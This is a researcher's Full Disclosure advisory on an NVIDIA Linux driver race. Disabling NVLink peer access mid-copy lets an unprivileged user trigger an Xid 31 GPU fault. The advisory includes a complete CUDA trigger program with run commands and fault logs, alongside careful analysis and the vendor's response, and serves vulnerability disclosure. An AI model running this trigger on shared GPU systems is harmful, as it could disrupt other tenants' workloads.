NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via undocumented peer-teardown ordering, no CVE (vendor: intended)

[Abhinav Agarwal <abhinavagarwal1996 () gmail com>]

NVIDIA Linux GPU driver - unprivileged Xid 31 copy-engine MMU fault
during an NVLink peer transfer
==================================================================================================

An unprivileged local user with no GPU group, no admin group and no
capabilities, using only the driver's default 0666 /dev/nvidia*
permissions and public CUDA Runtime APIs, deterministically causes a
PID-attributed copy-engine MMU fault (Xid 31) during an NVLink peer
transfer. The captured Xid names one PCI device, 0000:01:00 - it is
not evidence that both GPUs of the pair entered a faulted state, and
no such claim is made here. The trigger is a race: call
cudaDeviceDisablePeerAccess() while a cudaMemcpyPeerAsync() is still
in flight on the peer path. Reproduced 5/5 with PID attribution to the
triggering process, against 4/4 clean negative controls. NVIDIA
reviewed the report and determined this is intended behavior and not a
bug.

Affected:  NVIDIA Linux GPU driver, CUDA peer-access path on
NVLink-connected GPUs
Tested:    595.71.05-open
Hardware:  A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off
Platform:  Ubuntu 24.04, kernel 6.8.0, CUDA 13.2
CWE:       CWE-362 (race condition) for the mechanism; CWE-276
(incorrect default permissions) as the access precondition
Status:    Closed by NVIDIA as Not Applicable, 2026-08-04, on the
grounds that it is intended behavior. No fix.
CVE:       none assigned
Ref:       Intigriti NVIDIA-S5KGSS2R, NVIDIA PSIRT ticket 6286071
Companion: "NVIDIA Linux GPU driver: cross-UID GPU process telemetry
via NVML" - same node, same driver, same 0666 precondition

Read the "Unmeasured Question" section before drawing conclusions
about severity. The single measurement that separates a self-contained
fault from a cross-tenant denial of service is one I did not capture,
and I am not claiming it.


Observed Mechanism
------------------

cudaDeviceEnablePeerAccess() installs a peer mapping so GPU a can
address GPU b's memory over NVLink. cudaMemcpyPeerAsync() queues a DMA
on a copy engine that walks that mapping.
cudaDeviceDisablePeerAccess() tears the mapping down. Nothing forces
the outstanding DMA to drain first. The Xid line names FAULT_PDE on
CE4, consistent with the copy engine dereferencing a page directory
entry that has just been unmapped - an inference from the fault type
and engine, not a claim about driver internals.

    GPU a (holds peer mapping)                        GPU b (peer)
    +----------------------------------+
+---------------------------+
    | cudaSetDevice(a)                 |              |
cudaMalloc(src)           |
    | cudaDeviceEnablePeerAccess(b) ------ NVLink ---> | peer mapping
installed    |
    | cudaMemcpyPeerAsync() x4         |===== DMA in flight on CE4
=====>          |
    | cudaDeviceDisablePeerAccess(b)   |              |
           |
    |        ^                         |              |
           |
    |        +-- PDE torn down while CE4 is still walking it
           |
    +----------------------------------+
+---------------------------+
                                  |
                                  v
              CE4 dereferences an unmapped PDE -> FAULT_PDE
ACCESS_TYPE_VIRT_READ
                                  |
                                  v
                        Xid 31, PID-attributed to the caller

The negative control synchronizes every copy before teardown, so no
DMA is outstanding when the mapping is removed. Approximately 9,000
synchronized cycles per run across four negative controls - roughly
36,000 cycles total - produced zero Xid. That isolates the
in-flight-copy-versus-teardown race as the cause rather than peer
access itself.


Attacker Prerequisites
----------------------

A shell account on the node, and the driver's own default device permissions:

    # grep -E 'ModifyDeviceFiles|DeviceFileMode' /proc/driver/nvidia/params
    ModifyDeviceFiles: 1
    DeviceFileMode: 438          # 0666 octal

The trigger user for all captured runs was uid 1011, in no GPU group,
with an empty effective capability set.


Proof of Concept
----------------

Full PoC code, the instrumented trigger, the canary ladder and raw
evidence for both findings:
<https://github.com/abhinavagarwal07/nvidia-gpu-security-poc>

--a and --p are CUDA-visible ordinals. CUDA_VISIBLE_DEVICES,
containers, schedulers and MIG all remap these, so pin them to the
intended physical pair.

    /* nvlink_p2p_cycle.cu
     * build: nvcc -arch=sm_80 -O2 -o nvlink_p2p_cycle nvlink_p2p_cycle.cu
     * pos:   CUDA_VISIBLE_DEVICES=0,1 ./nvlink_p2p_cycle --a 0 --p 1
--inflight 1 --dur 30
     * neg:   CUDA_VISIBLE_DEVICES=0,1 ./nvlink_p2p_cycle --a 0 --p 1
--inflight 0 --dur 30
     * (the captured runs used --dur 30)
     */
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <time.h>
    #include <unistd.h>
    #include <cuda_runtime.h>

    /* peer enable/disable and the async copies are EXPECTED to return
errors once the
     * pair starts faulting; swallow them so the loop keeps racing. */
    #define SOFT(x) do { cudaError_t _e=(x); (void)_e; } while(0)
    #define CHECK(x) do { cudaError_t _e=(x); if(_e!=cudaSuccess){ \
        fprintf(stderr,"%s:%d
%s\n",__FILE__,__LINE__,cudaGetErrorString(_e)); exit(1);} } while(0)

    static double now_s(void){ struct timespec t;
clock_gettime(CLOCK_MONOTONIC,&t);
                               return t.tv_sec + t.tv_nsec/1e9; }

    int main(int argc,char**argv){
      int a=0,p=1,mb=64,nstream=4,inflight=1; double dur=60.0;
      for(int i=1;i<argc;i++){
        if(!strcmp(argv[i],"--a")&&i+1<argc)             a=atoi(argv[++i]);
        else if(!strcmp(argv[i],"--p")&&i+1<argc)        p=atoi(argv[++i]);
        else if(!strcmp(argv[i],"--dur")&&i+1<argc)      dur=atof(argv[++i]);
        else if(!strcmp(argv[i],"--mb")&&i+1<argc)       mb=atoi(argv[++i]);
        else if(!strcmp(argv[i],"--streams")&&i+1<argc)
nstream=atoi(argv[++i]);
        else if(!strcmp(argv[i],"--inflight")&&i+1<argc)
inflight=atoi(argv[++i]);
      }
      size_t bytes=(size_t)mb*1024*1024;
      printf("pid=%d\n",(int)getpid());   /* PID attribution is the
central claim */

      int can=0; CHECK(cudaDeviceCanAccessPeer(&can,a,p));
      if(!can){ fprintf(stderr,"no p2p %d<->%d\n",a,p); return 2; }

      /* source buffer lives on the peer; destinations and streams on
the local device */
      CHECK(cudaSetDevice(p));
      void *src; CHECK(cudaMalloc(&src,bytes));
CHECK(cudaMemset(src,0xCD,bytes));
      CHECK(cudaSetDevice(a));
      void **dst = (void**)malloc(nstream*sizeof(void*));
      cudaStream_t *st = (cudaStream_t*)malloc(nstream*sizeof(cudaStream_t));
      for(int s=0;s<nstream;s++){ CHECK(cudaMalloc(&dst[s],bytes));
CHECK(cudaStreamCreate(&st[s])); }

      double t0=now_s(); unsigned long long cyc=0;
      while(now_s()-t0 < dur){
        SOFT(cudaDeviceEnablePeerAccess(p,0));
/* install peer mapping  */
        for(int s=0;s<nstream;s++)
          SOFT(cudaMemcpyPeerAsync(dst[s],a,src,p,bytes,st[s]));
/* 4 x 64MiB async on CE */
        if(!inflight)
          for(int s=0;s<nstream;s++) cudaStreamSynchronize(st[s]);
/* negative control only */
        SOFT(cudaDeviceDisablePeerAccess(p));
/* tear down mid-DMA     */
        cyc++;
      }
      printf("done: %llu cycles in %.1fs\n", cyc, now_s()-t0);
      return 0;
    }

Four 64 MiB copies across four streams keeps enough DMA outstanding
that the teardown lands inside the transfer window on essentially
every cycle.

Before running, confirm the two ordinals really are NVLink-connected -
cudaDeviceCanAccessPeer also returns 1 for PCIe P2P, which was not
tested here:

    nvidia-smi topo -m          # expect NV<n> between the chosen
GPUs, not PHB/SYS
    nvidia-smi -L

Watch the kernel log. This needs root, or kernel.dmesg_restrict=0:

    dmesg -w | grep -i xid

If no Xid appears within about 30 seconds, raise --mb and --streams
until the teardown reliably lands inside the transfer window.
-arch=sm_80 is A100; use sm_90 on H100/GH200, untested here.

DO NOT RESET YET. Resetting here destroys the only evidence that
matters - it is exactly the mistake my own harness made, and it is why
the central question in this post is unanswered. The required order
is:

    trigger  ->  kill -9 the trigger  ->  canary as a DIFFERENT
unprivileged UID, before any reset
             ->  reset ONLY if that canary fails

Read state without clearing it:

    nvidia-smi -q | grep -i "GPU Recovery Action"

Only after the pre-reset canary has been run and recorded:

    nvidia-smi --gpu-reset -i <a>,<b>        # requires no processes
attached to those GPUs

Positive run (--inflight 1), captured verbatim:

    [Sat May 30 18:33:27 2026] NVRM: Xid (PCI:0000:01:00): 31,
pid=6507, name=nvlink_p2p_cycl,
    channel 0x0c00001f, intr 00000000. MMU Fault: ENGINE CE4
HUBCLIENT_HSCE0 faulted @
    0x7a77_7dbc6000. Fault is of type FAULT_PDE ACCESS_TYPE_VIRT_READ

Negative control (--inflight 0), approximately 9,000 synchronized cycles:

    NONE

Machine-scored verdict for the same positive run:

    { "poc": "F5b-Xid31-unprivileged-P2P-disable-race", "kind": "positive",
      "trigger_user": "victimuser", "physical_gpu_pair": ["0","1"],
"inflight": 1,
      "xid_seen_during_run": 1, "trigger_launch_pids": ["6507"],
"xid_line_pids": ["6507"],
      "verdict": "PASS",
      "criteria": { "fresh_xid31": true, "pid_match": true,
"xid154_or_175": false,
                    "unprivileged_user": true, "survived_first_sigkill": false,
                    "held_gpu_memory": true, "ecc_clean_post": true } }

pos-01 launched at 18:33:23 and the Xid landed at 18:33:25 - two seconds.


Results
-------

    Run     Kind      Pair  inflight  Fresh Xid 31  PID-matched  Xid
154/175  Held GPU mem     ECC clean
    ------- --------- ----- --------- ------------- ------------
------------ ---------------- ---------
    pos-01  positive  0,1   1         yes           yes          no
       672+480 MiB      yes
    pos-02  positive  0,1   1         yes           yes          no
       672+480 MiB      yes
    pos-03  positive  0,1   1         yes           yes          no
       672+480 MiB      yes
    pos-04  positive  0,1   1         yes           yes          no
       672+480 MiB      yes
    pos-05  positive  0,1   1         yes           yes          no
       672+480 MiB      yes
    neg-01  negative  0,1   0         no            -            no
       -                yes
    neg-02  negative  0,1   0         no            -            no
       -                yes
    neg-03  negative  0,1   0         no            -            no
       -                yes
    neg-04  negative  0,1   0         no            -            no
       -                yes

Positives 5/5, negatives 4/4. Held GPU memory was recorded numerically
for pos-01 (672 MiB on GPU0, 480 MiB on GPU1); the harness recorded it
as a boolean for pos-02..05. Those numbers are derivable from the
trigger's own allocations - four 64 MiB destination buffers plus a
~416 MiB CUDA context on the local device, 64 MiB source plus the same
context on the peer - which is what rules out random corruption.
Post-reset aggregate uncorrectable ECC totals were zero in every run -
a fault, not hardware damage. The trigger process dies on the first
SIGKILL.

The fault was also reachable on all six local NVLink pairs, one pass each.


The Unmeasured Question
-----------------------

Whether the faulted copy-engine / UVM context clears when the process
dies, or whether the pair stays unusable to a fresh process until a
privileged nvidia-smi --gpu-reset, was not measured.

The harness ran --gpu-reset reflexively immediately after killing the
trigger, destroying the evidence for its own most important question.
The test node was deprovisioned before the run could be repeated with
a health probe in the gap.

Four indicators, three of them NVIDIA's own, point toward self-clearing:

  - NVIDIA's Xid documentation lists Xid 31's immediate action as
RESTART_APP. The vendor's own documented remedy is restarting the
application, not resetting the device.
  - The GPU's Recovery Action field read None before the reset.
  - The trigger process died on the first SIGKILL in all five positive
runs. Nothing unkillable was left holding the context.
  - NVIDIA's own Kubernetes device plugin lists Xid 31 under
"Application errors: the GPU should still be healthy".

None of those is the measurement. The measurement is a second process,
owned by a different principal, successfully using the pair after the
kill and before any reset - and that is the one thing I did not do.
Recovery Action is a device-health field, not a statement about
whether one faulted UVM/CE context was reaped; it could read None
while stale state still blocks a fresh peer mapping. Xid 31's own
causes column spans application, driver and hardware, so the catalog
does not commit to app-only either. The evidence converges on
self-clearing. It is not proven, and I claim it in neither direction.

That single unmeasured fact splits the outcome in two:

    fault self-clears on process exit      -> the attacker denies
service only to their own
                                              context. Still a
documented-as-safe API call
                                              producing a
kernel-logged hardware fault; no
                                              cross-tenant availability impact.
    fault persists until privileged reset  -> an unprivileged user
forces mandatory root
                                              intervention, and the
reset itself takes down
                                              every co-tenant sharing that pair

My original report argued for the second. That was the wrong call
given the evidence I had. Neither branch was measured, so I assert
neither. What is supported is only what was observed: a PID-attributed
Xid 31 in the attacker's own context.

To settle it, sandwich a health probe around the kill, before any reset:

    1. baseline canary        - single 64MiB cudaMemcpyPeer on the
pair   -> must PASS first,
                                which rules out OOM / wrong ordinals /
MIG / permissions
    2. trigger --inflight 1   - confirm a fresh PID-matched Xid 31 in
dmesg, then kill -9
    3. pre-reset canary       - IMMEDIATELY, before any --gpu-reset
                                  PASS -> freed on process death, self-clearing
                                  FAIL -> pair unusable post-kill
    4. post-reset canary      - only if step 3 failed; nvidia-smi
--gpu-reset, then re-probe

PASS -> FAIL -> PASS is the unambiguous result. A step-3 failure of
the same kind that also fails at step 1 is environmental, not this
bug. Total GPU time is a few minutes.

A minimal canary for steps 1, 3 and 4 - allocate on both devices,
enable peer access, one round-trip peer copy, verify the bytes, print
PASS or the cudaGetErrorName of the first failing call:

    /* Full source: f5b_canary.cu in the PoC repo. Sketch, with the
one subtlety that
     * matters: peer access is directional.
cudaDeviceEnablePeerAccess(p,0) called with
     * device a current enables a->p ONLY. cudaMemcpyPeer succeeds
whether or not peer
     * access is enabled - when it is not, it can stage through host
memory - so a
     * "reverse leg" copied back p->a without enabling p->a would not
exercise the peer
     * path at all, and a PASS there would be a false negative on the
very question the
     * canary exists to answer. Verify the round trip by reading back
with an ordinary
     * D2H from the peer instead. */
    CHECK_OR_FAIL(cudaSetDevice(a));  CHECK_OR_FAIL(cudaMalloc(&da, n));
    CHECK_OR_FAIL(cudaSetDevice(p));  CHECK_OR_FAIL(cudaMalloc(&dp, n));
    CHECK_OR_FAIL(cudaSetDevice(a));
    CHECK_OR_FAIL(cudaDeviceEnablePeerAccess(p, 0));   /* a -> p only */
    CHECK_OR_FAIL(cudaMemcpy(da, host, n, cudaMemcpyHostToDevice));
    CHECK_OR_FAIL(cudaMemcpyPeer(dp, p, da, a, n));    /* the peer
path under test */
    CHECK_OR_FAIL(cudaDeviceSynchronize());            /* surface
async faults */
    CHECK_OR_FAIL(cudaSetDevice(p));
    CHECK_OR_FAIL(cudaMemcpy(back, dp, n, cudaMemcpyDeviceToHost));
    /* memcmp(host, back, n) == 0 -> print PASS, exit 0
     * on the first non-success -> print FAIL <cudaGetErrorName>
<cudaGetErrorString> */

Run it as a DIFFERENT unprivileged user than the one that triggered
the fault. A post-kill failure for a second principal proves
cross-principal denial rather than same-user cleanup semantics.

A second discriminator worth capturing in the same window: a pure
single-GPU probe on each device of the pair - cudaSetDevice,
cudaMalloc, cudaMemset, H2D, D2H, cudaDeviceSynchronize, with no peer
access anywhere. If that passes on a faulted device while the peer
canary fails, the denial is pair-local to the P2P path. If it fails,
the denial is device-wide.


Separate Unconfirmed Lead
-------------------------

The same call sequence was twice temporally associated with a worse
failure: Xid 175 followed by Xid 154, a GSP-RPC wedge that did not
clear on --gpu-reset and required a reboot.

Causality is unconfirmed and excluded from everything above. The Xid
lines did not PID-match the trigger, and controlled reruns reproduced
it 0/10 and 0/6. It is recorded because it is the worst case worth
investigating, not because it can be supported.


Severity
--------

No score. A score becomes meaningful only if the second-principal
pre-reset canary fails.


Impact
------

Proven:an unprivileged GPU user can deterministically cause its own
P2P CUDA context to emit a PID-attributed Xid 31 by disabling peer
access while copies are in flight. Cross-tenant GPU or node denial of
service is unproven.


Real-World Exposure
-------------------

If a reset is required - the open question above - the cost is not
confined to the faulted GPU on NVSwitch-based systems. This applies to
DGX/HGX A100 class machines, not to the node measured here, which is a
4-GPU NV4 direct mesh with no NVSwitch. On such a system, NVIDIA's
Fabric Manager User Guide states that recovering from fatal NVSwitch
trunk-link errors requires you to "stop the FM service. Stop all the
applications that are using the GPU", then "reset all the GPUs and
NVSwitches. Do not use the -i or the -id options". Reset is a
fabric-wide operation in that failure class, not a clean single-GPU
operation. The same guide notes that Ampere-generation systems depend
on Fabric Manager coordination for NVLink retraining, while Hopper and
later use hardware-level Autonomous Link Initialization and are less
FM-dependent.

The mechanism operators rely on to quarantine GPU faults in Kubernetes
does not catch this one. The reference NVIDIA/k8s-device-plugin
hard-codes Xid 31 into its ignored-Xid list:

    // Application errors: the GPU should still be healthy
    ignoredXids := []uint64{13, 31, 43, 45, 68, 109}

Verified against the plugin's current source. The default plugin does
not mark the GPU or node unhealthy, evict pods, or cordon on this Xid.
That cuts against an availability-amplification reading of this
finding and is stated here for that reason.

Managed platforms do not all agree, and one of them cuts the other way
- with preconditions worth stating. AWS EKS node auto-repair
recognises Xid 31, but repair must be enabled on the node group first;
it is not on by default. Where it is enabled, behaviour differs by
node type: managed node groups can reboot, while Auto Mode replaces
the node. For managed node groups the documented action for Xid 31 is
a reboot after a 10-minute wait, under AcceleratedHardwareReady. AWS's
own canonical create-nodegroup example then overrides that: "Overrides
XID 31 errors (GPU memory page fault) to take no action. The default
is reboot after 10 minutes." So on an EKS managed node group with
auto-repair turned on and no override, a tenant able to produce Xid 31
on demand is producing an event whose handling is a node reboot. I
have not tested this and am not claiming an EKS attack - auto-repair
is opt-in and the reboot is a debounced repair action, not a direct
trigger - but the "orchestrators ignore Xid 31" reading is not
universal, and I would rather state the fact than the half of it that
suits me. Whether GKE or DCGM apply their own independent
classification was not confirmed either way.

Real SLURM GPU-cluster operators avoid job requeue after a GPU fault
specifically "to prevent corrupted GPU states from being inherited by
subsequent jobs", draining the node via a prolog health check instead
- direct evidence that a GPU fault being inherited by the next job or
user is a named risk sites already engineer around.

Not confirmed: that this specific fault requires a reset to clear,
that it triggers any automated Kubernetes health action by default, or
that it propagates beyond the two GPUs in the NVLink pair under test.
The evidence supports GPU-pair-scoped impact at most, conditional on
the persistence question.


What Is Not Claimed
-------------------

- Faulting to contain a DMA that references a torn-down mapping is
correct behavior. There is no request here to suppress Xid 31. But the
sequence that produces it is not documented as an error: the CUDA 13.2
Runtime API reference for cudaDeviceDisablePeerAccess states no
requirement to synchronize or drain outstanding peer copies before the
call, and does not describe this ordering as undefined behavior.
Checked against the CUDA 13.2 documentation on 2026-08-22. If NVIDIA
can point to text that does impose the requirement, that changes this
bullet.

- No hardware damage. Zero uncorrectable ECC across all runs.

- No confidentiality or integrity impact. No memory contents are read
or written.

- Generality beyond A100 and 595.71.05-open is not claimed. All six
NVLink pairs on the one test node were reachable; other GPUs, driver
branches and topologies are unmeasured.

- The API-contract observation is incomplete, not a demonstrated
defect. What the racing cudaDeviceDisablePeerAccess() actually returns
was never captured: the trigger swallowed every return code so the
loop would keep racing, and the CUDA reference does warn the call may
return errors from previous asynchronous launches, so it may well have
reported something. The instrumented variant in the PoC repo records
it. If it returns an error, this argument is materially weaker and I
would want that known.

- Persistence past process exit was never measured. If the fault did
persist, an unprivileged action would force privileged recovery unlike
an ordinary process crash the kernel reaps. That is a conditional, not
a result.


Vendor Response
---------------

The Intigriti team reproduced the finding and forwarded it to NVIDIA,
which opened a tracking ticket and acknowledged it. NVIDIA
subsequently closed the report Not Applicable, 2026-08-04:

    "The team has review the report and have determined that this is
intended behavior and as
     such is not a bug."


Timeline
--------

2026-06-02 Reported via Intigriti (NVIDIA-S5KGSS2R)
2026-06-08 Intigriti team reproduces the finding and forwards it to NVIDIA
2026-06-08 NVIDIA PSIRT opens tracking ticket 6286071
2026-06-09 NVIDIA acknowledges the report and states triage is in progress
2026-06-21 I ask for the severity under consideration and request
credit in any advisory
2026-07-09 Status ping, no response
2026-08-04 NVIDIA closes the report Not Applicable (quoted above)
2026-08-22 Public disclosure


References
----------

https://github.com/abhinavagarwal07/nvidia-gpu-security-poc
https://github.com/NVIDIA/open-gpu-kernel-modules/blob/main/kernel-open/nvidia/nv-reg.h
https://docs.nvidia.com/deploy/xid-errors/index.html
https://docs.nvidia.com/cuda/cuda-runtime-api/group__CUDART__PEER.html
https://docs.nvidia.com/datacenter/tesla/fabric-manager-user-guide/index.html
https://github.com/NVIDIA/k8s-device-plugin/blob/main/internal/rm/health.go
https://arxiv.org/html/2503.11901v3
https://docs.aws.amazon.com/eks/latest/userguide/node-repair.html
https://docs.nvidia.com/cuda/archive/13.2.0/cuda-runtime-api/group__CUDART__PEER.html
https://docs.nvidia.com/deploy/xid-errors/analyzing-xid-catalog.html


All testing was performed on a researcher-controlled hardware. The
full evidence bundle - trigger and canary sources, reproduction
runbook, per-run machine-scored verdicts, positive and negative Xid
captures, ECC and topology captures, the six-pair reachability
campaign, and the unconfirmed Xid-175/154 forensics - is published at
https://github.com/abhinavagarwal07/nvidia-gpu-security-poc

Abhinav Agarwal
https://abhinavagarwal07.github.io
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/